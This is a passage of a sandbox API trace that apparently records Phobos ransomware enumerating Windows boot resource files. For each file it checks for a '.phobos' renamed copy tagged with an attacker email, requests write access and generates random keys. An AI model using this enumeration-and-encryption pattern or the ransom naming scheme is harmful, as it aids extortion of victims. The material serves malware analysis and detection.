"c:\\boot\\resources\\en-us\\bootres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.735] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.735] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.735] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=76128) returned 1 [0056.735] CloseHandle (hObject=0x32c) returned 1 [0056.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui")) returned 0x20 [0056.736] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.736] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.736] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.736] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.736] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=77152) returned 1 [0056.736] CloseHandle (hObject=0x32c) returned 1 [0056.736] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0056.736] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.736] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.736] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.736] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.736] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=44960) returned 1 [0056.736] CloseHandle (hObject=0x32c) returned 1 [0056.736] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui")) returned 0x20 [0056.736] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.737] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.737] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.737] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.737] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=77144) returned 1 [0056.737] CloseHandle (hObject=0x32c) returned 1 [0056.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui")) returned 0x20 [0056.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.737] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.737] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.737] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.737] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=76640) returned 1 [0056.737] CloseHandle (hObject=0x32c) returned 1 [0056.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui")) returned 0x20 [0056.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.737] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.738] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.738] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.738] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=77152) returned 1 [0056.738] CloseHandle (hObject=0x32c) returned 1 [0056.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui")) returned 0x20 [0056.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.738] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.738] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.738] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.738] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=44888) returned 1 [0056.738] CloseHandle (hObject=0x32c) returned 1 [0056.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui")) returned 0x20 [0056.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.738] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.739] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.739] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.739] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=77152) returned 1 [0056.739] CloseHandle (hObject=0x32c) returned 1 [0056.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui")) returned 0x20 [0056.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.739] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.739] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.739] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.739] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=76128) returned 1 [0056.739] CloseHandle (hObject=0x32c) returned 1 [0056.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20 [0056.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.739] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.740] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.740] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.740] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=44952) returned 1 [0056.740] CloseHandle (hObject=0x32c) returned 1 [0056.743] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui")) returned 0x20 [0056.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.744] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.744] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.744] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.744] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=75096) returned 1 [0056.744] CloseHandle (hObject=0x32c) returned 1 [0056.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20 [0056.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.744] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.744] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.744] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.744] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=45472) returned 1 [0056.744] CloseHandle (hObject=0x32c) returned 1 [0056.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui")) returned 0x20 [0056.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.745] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.745] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.745] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.745] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=77152) returned 1 [0056.745] CloseHandle (hObject=0x32c) returned 1 [0056.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui")) returned 0x20 [0056.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.745] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.745] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.745] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.745] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=63840) returned 1 [0056.745] CloseHandle (hObject=0x32c) returned 1 [0056.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20 [0056.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.746] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.746] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.746] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.746] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=42400) returned 1 [0056.746] CloseHandle (hObject=0x32c) returned 1 [0056.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui")) returned 0x20 [0056.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.746] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.746] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.746] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.746] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=63832) returned 1 [0056.746] CloseHandle (hObject=0x32c) returned 1 [0056.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui")) returned 0x20 [0056.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.747] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.747] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.747] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.747] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=42328) returned 1 [0056.747] CloseHandle (hObject=0x32c) returned 1 [0056.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui")) returned 0x20 [0056.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.747] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.747] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.747] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.747] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=63840) returned 1 [0056.747] CloseHandle (hObject=0x32c) returned 1 [0056.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui")) returned 0x20 [0056.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.747] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.748] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.748] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.748] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=42392) returned 1 [0056.748] CloseHandle (hObject=0x32c) returned 1 [0056.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui")) returned 0x20 [0056.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.748] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.748] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, 